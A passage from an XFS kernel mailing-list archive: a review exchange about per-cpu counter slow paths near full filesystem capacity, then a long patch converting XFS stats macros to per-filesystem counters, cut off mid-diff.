capacity. IOWs, hitting this slow > >path at>99.9% capacity is really irrelevant.... > > > > In the production environment, we do expect to see large storage > attached to those big machines. However, in the testing environment, > we may have such large pool of disks to be used. Alternatively, a > user may create a small filesystem partition for certain specific > use. Under those circumstances, the slowpath may be triggered. Yes, it may be, but that does not mean we should optimise for it. If you are doing filesystem scalability testing on small filesystems near capacity, then your testing methodology is needs fixing. Not the code. > >>>XFS trades off low overhead for fast path allocation with slowdowns > >>>as we near ENOSPC in allocation routines. It gets harder to find > >>>contiguous free space, files get more fragmented, IO takes longer > >>>because we seek more, etc. Hence we accept that performance slows > >>>down as as the need for precision increases as we near ENOSPC. > >>> > >>>I'd suggest you retry your benchmark with larger filesystems, and > >>>see what happens... > >>I don't think I am going to see the slowdown that I observed on > >>larger filesystems with more free space. > >So there is no problem that needs fixing.... ;) > > Well, I am still worrying that corner cases when the slowpath is > triggered. I would like to make it perform better in those cases. It's a pretty damn small slowdown in your somewhat extreme, artificial test. Show me a real world production system that runs small fileystems permanently at >99% filesystem capacity, and them maybe vwe've got something that needs changing. > >>gauge how far it is from ENOSPC. So we don't really need to get > >>the precise count as long as number of CPUs are taken into > >>consideration in the comparison. > >I think you are looking in the wrong place. There is nothing > >wrong with XFS doing two compares here. If we are hitting the > >__percpu_counter_compare() slow path too much, then we should be > >understanding exactly why that slow path is being hit so hard so > >often. I don't see any analysis of the actual per-cpu counter > >behaviour and why the slow path is being taken so often.... > > I am thinking of making the following changes: No. Please test the change to the per-cpu counters that I suggested: > >/* > > * Aggregate the per-cpu counter magazines back into the global > > * counter. This avoids the need for repeated compare operations to > > * run the slow path when the majority of the counter value is held > > * in the per-cpu magazines. Folding them back into the global > > * counter means we will continue to hit the fast > > * percpu_counter_read() path until the counter value falls > > * completely within the comparison limit passed to > > * __percpu_counter_compare(). > > */ > >static s64 percpu_counter_aggregate(struct percpu_counter *fbc) > >{ > > s64 ret; > > int cpu; > > unsigned long flags; > > > > raw_spin_lock_irqsave(&fbc->lock, flags); > > ret = fbc->count; > > for_each_online_cpu(cpu) { > > s32 count = __this_cpu_read(*fbc->counters); > > ret += count; > > __this_cpu_sub(*fbc->counters, count) > > } > > fbc->count = ret; > > raw_spin_unlock_irqrestore(&fbc->lock, flags); > > return ret; > >} > > I don't think that will work as some other CPUs may change the > percpu counters values between percpu_counter_aggregate() and > __percpu_counter_compare(). To be safe, the precise counter has to > be compted whenever the comparison value difference is less than > nr_cpus * batch size. Well, yes. Why do you think the above function does the same function as percpu_counter_sum()? So that the percpu_counter_sum() call *inside* __percpu_counter_compare() can be replaced by this call. i.e. return -1; } /* Need to use precise count */ - count = percpu_counter_sum(fbc); + count = percpu_counter_aggregate(fbc); if (count > rhs) return 1; else if (count < rhs) Please think about what I'm saying rather than dismissing it without first understanding my suggestions. > I have some thoughts on how to reduce precise comparison overhead, > but I need more time to work out the details. We don't need something "smart" that only 2 people understand properly that turns the per-cpu counters into a regression-prone, unmaintainable mess like all the locking code has become. Cheers, Dave. -- Dave Chinner david@fromorbit.com From billodo@redhat.com Tue Oct 6 16:36:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1D0D229DF5 for ; Tue, 6 Oct 2015 16:36:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3237FAC005 for ; Tue, 6 Oct 2015 14:35:59 -0700 (PDT) X-ASG-Debug-ID: 1444167357-04cb6c578606750001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6hqckd5TBBEBr9C4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 14:35:57 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id DD0D0461C8 for ; Tue, 6 Oct 2015 21:35:56 +0000 (UTC) Received: from redhat.com (unused [10.10.51.48] (may be forged)) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t96LZr33028922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 6 Oct 2015 17:35:55 -0400 Date: Tue, 6 Oct 2015 16:35:53 -0500 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation Message-ID: <20151006213553.GA21334@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation References: <1443802960-26662-1-git-send-email-billodo@redhat.com> <1443802960-26662-8-git-send-email-billodo@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443802960-26662-8-git-send-email-billodo@redhat.com> User-Agent: Mutt/1.5.24 (2015-08-30) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444167357 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 UPDATE: -v11: fix errors in dfs_dquot.c functions touching stats counts. This patch modifies the stats counting macros and the callers to those macros to properly increment, decrement, and add-to the xfs stats counts. The counts for global and per-fs stats are correctly advanced, and cleared by writing a "1" to the corresponding clear file. global counts: /sys/fs/xfs/stats/stats per-fs counts: /sys/fs/xfs/sda*/stats/stats global clear: /sys/fs/xfs/stats/stats_clear per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear Signed-off-by: Bill O'Donnell --- fs/xfs/libxfs/xfs_alloc.c | 8 ++++---- fs/xfs/libxfs/xfs_attr.c | 6 +++--- fs/xfs/libxfs/xfs_bmap.c | 20 ++++++++++---------- fs/xfs/libxfs/xfs_btree.h | 34 ++++++++++++++++++---------------- fs/xfs/libxfs/xfs_dir2.c | 6 +++--- fs/xfs/xfs_attr_list.c | 2 +- fs/xfs/xfs_buf.c | 18 +++++++++--------- fs/xfs/xfs_dir2_readdir.c | 2 +- fs/xfs/xfs_dquot.c | 14 +++++++------- fs/xfs/xfs_file.c | 12 ++++++------ fs/xfs/xfs_icache.c | 18 +++++++++--------- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iomap.c | 4 ++-- fs/xfs/xfs_iops.c | 4 ++-- fs/xfs/xfs_log.c | 22 +++++++++++----------- fs/xfs/xfs_qm.c | 14 +++++++------- fs/xfs/xfs_stats.h | 21 +++++++++++++++------ fs/xfs/xfs_super.c | 6 +++--- fs/xfs/xfs_trans.c | 6 +++--- fs/xfs/xfs_trans_ail.c | 12 ++++++------ 21 files changed, 124 insertions(+), 113 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index ffad7f2..9b5da7e3 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -651,8 +651,8 @@ xfs_alloc_ag_vextent( -((long)(args->len))); } - XFS_STATS_INC(xs_allocx); - XFS_STATS_ADD(xs_allocb, args->len); + XFS_STATS_INC(args->mp, xs_allocx); + XFS_STATS_ADD(args->mp, xs_allocb, args->len); return error; } @@ -1808,8 +1808,8 @@ xfs_free_ag_extent( if (!isfl) xfs_trans_mod_sb(tp, XFS_TRANS_SB_FDBLOCKS, (long)len); - XFS_STATS_INC(xs_freex); - XFS_STATS_ADD(xs_freeb, len); + XFS_STATS_INC(mp, xs_freex); + XFS_STATS_ADD(mp, xs_freeb, len); trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); diff --git a/fs/xfs/libxfs/xfs_attr.c b/fs/xfs/libxfs/xfs_attr.c index ff06557..f949818 100644 --- a/fs/xfs/libxfs/xfs_attr.c +++ b/fs/xfs/libxfs/xfs_attr.c @@ -125,7 +125,7 @@ xfs_attr_get( uint lock_mode; int error; - XFS_STATS_INC(xs_attr_get); + XFS_STATS_INC(ip->i_mount, xs_attr_get); if (XFS_FORCED_SHUTDOWN(ip->i_mount)) return -EIO; @@ -209,7 +209,7 @@ xfs_attr_set( int rsvd = (flags & ATTR_ROOT) != 0; int error, err2, committed, local; - XFS_STATS_INC(xs_attr_set); + XFS_STATS_INC(mp, xs_attr_set); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; @@ -412,7 +412,7 @@ xfs_attr_remove( xfs_fsblock_t firstblock; int error; - XFS_STATS_INC(xs_attr_remove); + XFS_STATS_INC(mp, xs_attr_remove); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index 8e2010d..5256fe5 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -1435,7 +1435,7 @@ xfs_bmap_search_extents( xfs_ifork_t *ifp; /* inode fork pointer */ xfs_bmbt_rec_host_t *ep; /* extent record pointer */ - XFS_STATS_INC(xs_look_exlist); + XFS_STATS_INC(ip->i_mount, xs_look_exlist); ifp = XFS_IFORK_PTR(ip, fork); ep = xfs_bmap_search_multi_extents(ifp, bno, eofp, lastxp, gotp, prevp); @@ -1732,7 +1732,7 @@ xfs_bmap_add_extent_delay_real( ASSERT(!bma->cur || (bma->cur->bc_private.b.flags & XFS_BTCUR_BPRV_WASDEL)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); #define LEFT r[0] #define RIGHT r[1] @@ -2286,7 +2286,7 @@ xfs_bmap_add_extent_unwritten_real( ASSERT(*idx <= ifp->if_bytes / sizeof(struct xfs_bmbt_rec)); ASSERT(!isnullstartblock(new->br_startblock)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); #define LEFT r[0] #define RIGHT r[1] @@ -2946,7 +2946,7 @@ xfs_bmap_add_extent_hole_real( ASSERT(!bma->cur || !(bma->cur->bc_private.b.flags & XFS_BTCUR_BPRV_WASDEL)); - XFS_STATS_INC(xs_add_exlist); + XFS_STATS_INC(mp, xs_add_exlist); state = 0; if (whichfork == XFS_ATTR_FORK) @@ -4036,7 +4036,7 @@ xfs_bmapi_read( if (XFS_FORCED_SHUTDOWN(mp)) return -EIO; - XFS_STATS_INC(xs_blk_mapr); + XFS_STATS_INC(mp, xs_blk_mapr); ifp = XFS_IFORK_PTR(ip, whichfork); @@ -4221,7 +4221,7 @@ xfs_bmapi_delay( if (XFS_FORCED_SHUTDOWN(mp)) return -EIO; - XFS_STATS_INC(xs_blk_mapw); + XFS_STATS_INC(mp, xs_blk_mapw); if (!(ifp->if_flags & XFS_IFEXTENTS)) { error = xfs_iread_extents(NULL, ip, XFS_DATA_FORK); @@ -4525,7 +4525,7 @@ xfs_bmapi_write( ifp = XFS_IFORK_PTR(ip, whichfork); - XFS_STATS_INC(xs_blk_mapw); + XFS_STATS_INC(mp, xs_blk_mapw); if (*firstblock == NULLFSBLOCK) { if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_BTREE) @@ -4718,12 +4718,12 @@ xfs_bmap_del_extent( xfs_filblks_t temp2; /* for indirect length calculations */ int state = 0; - XFS_STATS_INC(xs_del_exlist); + mp = ip->i_mount; + XFS_STATS_INC(mp, xs_del_exlist); if (whichfork == XFS_ATTR_FORK) state |= BMAP_ATTRFORK; - mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); ASSERT((*idx >= 0) && (*idx < ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t))); @@ -5070,7 +5070,7 @@ xfs_bunmapi( *done = 1; return 0; } - XFS_STATS_INC(xs_blk_unmap); + XFS_STATS_INC(mp, xs_blk_unmap); isrt = (whichfork == XFS_DATA_FORK) && XFS_IS_REALTIME_INODE(ip); start = bno; bno = start + len - 1; diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 8f18bab..ec72825 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -84,31 +84,33 @@ union xfs_btree_rec { /* * Generic stats interface */ -#define __XFS_BTREE_STATS_INC(type, stat) \ - XFS_STATS_INC(xs_ ## type ## _2_ ## stat) -#define XFS_BTREE_STATS_INC(cur, stat) \ +#define __XFS_BTREE_STATS_INC(mp, type, stat) \ + XFS_STATS_INC(mp, xs_ ## type ## _2_ ## stat) +#define XFS_BTREE_STATS_INC(cur, stat) \ do { \ + struct xfs_mount *mp = cur->bc_mp; \ switch (cur->bc_btnum) { \ - case XFS_BTNUM_BNO: __XFS_BTREE_STATS_INC(abtb, stat); break; \ - case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(abtc, stat); break; \ - case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ - case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ - case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ + case XFS_BTNUM_BNO: __XFS_BTREE_STATS_INC(mp, abtb, stat); break; \ + case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(mp, abtc, stat); break; \ + case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(mp, bmbt, stat); break; \ + case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(mp, ibt, stat); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(mp, fibt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) -#define __XFS_BTREE_STATS_ADD(type, stat, val) \ - XFS_STATS_ADD(xs_ ## type ## _2_ ## stat, val) +#define __XFS_BTREE_STATS_ADD(mp, type, stat, val) \ + XFS_STATS_ADD(mp, xs_ ## type ## _2_ ## stat, val) #define XFS_BTREE_STATS_ADD(cur, stat, val) \ do { \ + struct xfs_mount *mp = cur->bc_mp; \ switch (cur->bc_btnum) { \ - case XFS_BTNUM_BNO: __XFS_BTREE_STATS_ADD(abtb, stat, val); break; \ - case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(abtc, stat, val); break; \ - case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ - case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ - case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ - case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ + case XFS_BTNUM_BNO: __XFS_BTREE_STATS_ADD(mp, abtb, stat, val); break; \ + case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(mp, abtc, stat, val); break; \ + case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(mp, bmbt, stat, val); break; \ + case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(mp, ibt, stat, val); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(mp, fibt, stat, val); break; \ + case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/libxfs/xfs_dir2.c b/fs/xfs/libxfs/xfs_dir2.c index 9de401d..2fb53a5 100644 --- a/fs/xfs/libxfs/xfs_dir2.c +++ b/fs/xfs/libxfs/xfs_dir2.c @@ -271,7 +271,7 @@ xfs_dir_createname( rval = xfs_dir_ino_validate(tp->t_mountp, inum); if (rval) return rval; - XFS_STATS_INC(xs_dir_create); + XFS_STATS_INC(dp->i_mount, xs_dir_create); } args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); @@ -365,7 +365,7 @@ xfs_dir_lookup( int lock_mode; ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_lookup); + XFS_STATS_INC(dp->i_mount, xs_dir_lookup); /* * We need to use KM_NOFS here so that lockdep will not throw false @@ -444,7 +444,7 @@ xfs_dir_removename( int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_remove); + XFS_STATS_INC(dp->i_mount, xs_dir_remove); args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); if (!args) diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index 65fb37a..0ef7c2e 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -511,7 +511,7 @@ xfs_attr_list_int( xfs_inode_t *dp = context->dp; uint lock_mode; - XFS_STATS_INC(xs_attr_list); + XFS_STATS_INC(dp->i_mount, xs_attr_list); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return -EIO; diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 8ecffb3..90815c2 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -201,7 +201,7 @@ _xfs_buf_alloc( atomic_set(&bp->b_pin_count, 0); init_waitqueue_head(&bp->b_waiters); - XFS_STATS_INC(xb_create); + XFS_STATS_INC(target->bt_mount, xb_create); trace_xfs_buf_init(bp, _RET_IP_); return bp; @@ -357,12 +357,12 @@ retry: "possible memory allocation deadlock in %s (mode:0x%x)", __func__, gfp_mask); - XFS_STATS_INC(xb_page_retries); + XFS_STATS_INC(bp->b_target->bt_mount, xb_page_retries); congestion_wait(BLK_RW_ASYNC, HZ/50); goto retry; } - XFS_STATS_INC(xb_page_found); + XFS_STATS_INC(bp->b_target->bt_mount, xb_page_found); nbytes = min_t(size_t, size, PAGE_SIZE - offset); size -= nbytes; @@ -516,7 +516,7 @@ _xfs_buf_find( new_bp->b_pag = pag; spin_unlock(&pag->pag_buf_lock); } else { - XFS_STATS_INC(xb_miss_locked); + XFS_STATS_INC(btp->bt_mount, xb_miss_locked); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); } @@ -529,11 +529,11 @@ found: if (!xfs_buf_trylock(bp)) { if (flags & XBF_TRYLOCK) { xfs_buf_rele(bp); - XFS_STATS_INC(xb_busy_locked); + XFS_STATS_INC(btp->bt_mount, xb_busy_locked); return NULL; } xfs_buf_lock(bp); - XFS_STATS_INC(xb_get_locked_waited); + XFS_STATS_INC(btp->bt_mount, xb_get_locked_waited); } /* @@ -549,7 +549,7 @@ found: } trace_xfs_buf_find(bp, flags, _RET_IP_); - XFS_STATS_INC(xb_get_locked); + XFS_STATS_INC(btp->bt_mount, xb_get_locked); return bp; } @@ -603,7 +603,7 @@ found: } } - XFS_STATS_INC(xb_get); + XFS_STATS_INC(target->bt_mount, xb_get); trace_xfs_buf_get(bp, flags, _RET_IP_); return bp; } @@ -643,7 +643,7 @@ xfs_buf_read_map( trace_xfs_buf_read(bp, flags, _RET_IP_); if (!XFS_BUF_ISDONE(bp)) { - XFS_STATS_INC(xb_get_read); + XFS_STATS_INC(target->bt_mount, xb_get_read); bp->b_ops = ops; _xfs_buf_read(bp, flags); } else if (flags & XBF_ASYNC) { diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index a989a9c..642d55d 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -666,7 +666,7 @@ xfs_readdir( return -EIO; ASSERT(S_ISDIR(dp->i_d.di_mode)); - XFS_STATS_INC(xs_dir_getdents); + XFS_STATS_INC(dp->i_mount, xs_dir_getdents); args.dp = dp; args.geo = dp->i_mount->m_dir_geo; diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 30cb3af..7ac6c5c 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -75,9 +75,9 @@ xfs_qm_dqdestroy( ASSERT(list_empty(&dqp->q_lru)); mutex_destroy(&dqp->q_qlock); - kmem_zone_free(xfs_qm_dqzone, dqp); - XFS_STATS_DEC(xs_qm_dquot); + XFS_STATS_DEC(dqp->q_mount, xs_qm_dquot); + kmem_zone_free(xfs_qm_dqzone, dqp); } /* @@ -605,7 +605,7 @@ xfs_qm_dqread( break; } - XFS_STATS_INC(xs_qm_dquot); + XFS_STATS_INC(mp, xs_qm_dquot); trace_xfs_dqread(dqp); @@ -747,12 +747,12 @@ restart: mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_hit(dqp); - XFS_STATS_INC(xs_qm_dqcachehits); + XFS_STATS_INC(mp, xs_qm_dqcachehits); *O_dqpp = dqp; return 0; } mutex_unlock(&qi->qi_tree_lock); - XFS_STATS_INC(xs_qm_dqcachemisses); + XFS_STATS_INC(mp, xs_qm_dqcachemisses); /* * Dquot cache miss. We don't want to keep the inode lock across @@ -806,7 +806,7 @@ restart: mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_dup(dqp); xfs_qm_dqdestroy(dqp); - XFS_STATS_INC(xs_qm_dquot_dups); + XFS_STATS_INC(mp, xs_qm_dquot_dups); goto restart; } @@ -846,7 +846,7 @@ xfs_qm_dqput( trace_xfs_dqput_free(dqp); if (list_lru_add(&qi->qi_lru, &dqp->q_lru)) - XFS_STATS_INC(xs_qm_dquot_unused); + XFS_STATS_INC(dqp->q_mount, xs_qm_dquot_unused); } xfs_dqunlock(dqp); } diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..088e509 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -287,7 +287,7 @@ xfs_file_read_iter( xfs_fsize_t n; loff_t pos = iocb->ki_pos; - XFS_STATS_INC(xs_read_calls); + XFS_STATS_INC(mp, xs_read_calls); if (unlikely(iocb->ki_flags & IOCB_DIRECT)) ioflags |= XFS_IO_ISDIRECT; @@ -365,7 +365,7 @@ xfs_file_read_iter( ret = generic_file_read_iter(iocb, to); if (ret > 0) - XFS_STATS_ADD(xs_read_bytes, ret); + XFS_STATS_ADD(mp, xs_read_bytes, ret); xfs_rw_iunlock(ip, XFS_IOLOCK_SHARED); return ret; @@ -383,7 +383,7 @@ xfs_file_splice_read( int ioflags = 0; ssize_t ret; - XFS_STATS_INC(xs_read_calls); + XFS_STATS_INC(ip->i_mount, xs_read_calls); if (infilp->f_mode & FMODE_NOCMTIME) ioflags |= XFS_IO_INVIS; @@ -401,7 +401,7 @@ xfs_file_splice_read( else ret = generic_file_splice_read(infilp, ppos, pipe, count, flags); if (ret > 0) - XFS_STATS_ADD(xs_read_bytes, ret); + XFS_STATS_ADD(ip->i_mount, xs_read_bytes, ret); xfs_rw_iunlock(ip, XFS_IOLOCK_SHARED); return ret; @@ -867,7 +867,7 @@ xfs_file_write_iter( ssize_t ret; size_t ocount = iov_iter_count(from); - XFS_STATS_INC(xs_write_calls); + XFS_STATS_INC(ip->i_mount, xs_write_calls); if (ocount == 0) return 0; @@ -883,7 +883,7 @@ xfs_file_write_iter( if (ret > 0) { ssize_t err; - XFS_STATS_ADD(xs_write_bytes, ret); + XFS_STATS_ADD(ip->i_mount, xs_write_bytes, ret); /* Handle various SYNC-type writes */ err = generic_write_sync(file, iocb->ki_pos - ret, ret); diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 0a326bd..d7a490f 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -63,7 +63,7 @@ xfs_inode_alloc( return NULL; } - XFS_STATS_INC(vn_active); + XFS_STATS_INC(mp, vn_active); ASSERT(atomic_read(&ip->i_pincount) == 0); ASSERT(!spin_is_locked(&ip->i_flags_lock)); ASSERT(!xfs_isiflocked(ip)); @@ -129,7 +129,7 @@ xfs_inode_free( /* asserts to verify all state is correct here */ ASSERT(atomic_read(&ip->i_pincount) == 0); ASSERT(!xfs_isiflocked(ip)); - XFS_STATS_DEC(vn_active); + XFS_STATS_DEC(ip->i_mount, vn_active); call_rcu(&VFS_I(ip)->i_rcu, xfs_inode_free_callback); } @@ -159,7 +159,7 @@ xfs_iget_cache_hit( spin_lock(&ip->i_flags_lock); if (ip->i_ino != ino) { trace_xfs_iget_skip(ip); - XFS_STATS_INC(xs_ig_frecycle); + XFS_STATS_INC(mp, xs_ig_frecycle); error = -EAGAIN; goto out_error; } @@ -177,7 +177,7 @@ xfs_iget_cache_hit( */ if (ip->i_flags & (XFS_INEW|XFS_IRECLAIM)) { trace_xfs_iget_skip(ip); - XFS_STATS_INC(xs_ig_frecycle); + XFS_STATS_INC(mp, xs_ig_frecycle); error = -EAGAIN; goto out_error; } @@ -259,7 +259,7 @@ xfs_iget_cache_hit( xfs_ilock(ip, lock_flags); xfs_iflags_clear(ip, XFS_ISTALE | XFS_IDONTCACHE); - XFS_STATS_INC(xs_ig_found); + XFS_STATS_INC(mp, xs_ig_found); return 0; @@ -342,7 +342,7 @@ xfs_iget_cache_miss( error = radix_tree_insert(&pag->pag_ici_root, agino, ip); if (unlikely(error)) { WARN_ON(error != -EEXIST); - XFS_STATS_INC(xs_ig_dup); + XFS_STATS_INC(mp, xs_ig_dup); error = -EAGAIN; goto out_preload_end; } @@ -412,7 +412,7 @@ xfs_iget( if (!ino || XFS_INO_TO_AGNO(mp, ino) >= mp->m_sb.sb_agcount) return -EINVAL; - XFS_STATS_INC(xs_ig_attempts); + XFS_STATS_INC(mp, xs_ig_attempts); /* get the perag structure and ensure that it's inode capable */ pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ino)); @@ -429,7 +429,7 @@ again: goto out_error_or_again; } else { rcu_read_unlock(); - XFS_STATS_INC(xs_ig_missed); + XFS_STATS_INC(mp, xs_ig_missed); error = xfs_iget_cache_miss(mp, pag, tp, ino, &ip, flags, lock_flags); @@ -965,7 +965,7 @@ reclaim: xfs_ifunlock(ip); xfs_iunlock(ip, XFS_ILOCK_EXCL); - XFS_STATS_INC(xs_ig_reclaims); + XFS_STATS_INC(ip->i_mount, xs_ig_reclaims); /* * Remove the inode from the per-AG radix tree. * diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..a0f2bae 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -3271,8 +3271,8 @@ xfs_iflush_cluster( } if (clcount) { - XFS_STATS_INC(xs_icluster_flushcnt); - XFS_STATS_ADD(xs_icluster_flushinode, clcount); + XFS_STATS_INC(mp, xs_icluster_flushcnt); + XFS_STATS_ADD(mp, xs_icluster_flushinode, clcount); } out_free: @@ -3345,7 +3345,7 @@ xfs_iflush( struct xfs_dinode *dip; int error; - XFS_STATS_INC(xs_iflush_count); + XFS_STATS_INC(mp, xs_iflush_count); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); ASSERT(xfs_isiflocked(ip)); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ea7d85a..b67a130 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1028,7 +1028,7 @@ xfs_ioctl_setattr_xflags( xfs_diflags_to_linux(ip); xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); return 0; } diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 1f86033..dca69c6 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -670,7 +670,7 @@ xfs_iomap_write_allocate( count_fsb = imap->br_blockcount; map_start_fsb = imap->br_startoff; - XFS_STATS_ADD(xs_xstrat_bytes, XFS_FSB_TO_B(mp, count_fsb)); + XFS_STATS_ADD(mp, xs_xstrat_bytes, XFS_FSB_TO_B(mp, count_fsb)); while (count_fsb != 0) { /* @@ -777,7 +777,7 @@ xfs_iomap_write_allocate( if ((offset_fsb >= imap->br_startoff) && (offset_fsb < (imap->br_startoff + imap->br_blockcount))) { - XFS_STATS_INC(xs_xstrat_quick); + XFS_STATS_INC(mp, xs_xstrat_quick); return 0; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..245268a 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -695,7 +695,7 @@ xfs_setattr_nonsize( xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); if (mp->m_flags & XFS_MOUNT_WSYNC) xfs_trans_set_sync(tp); @@ -922,7 +922,7 @@ xfs_setattr_size( xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - XFS_STATS_INC(xs_ig_attrchg); + XFS_STATS_INC(mp, xs_ig_attrchg); if (mp->m_flags & XFS_MOUNT_WSYNC) xfs_trans_set_sync(tp); diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index aaadee0..4012523 100644 --- 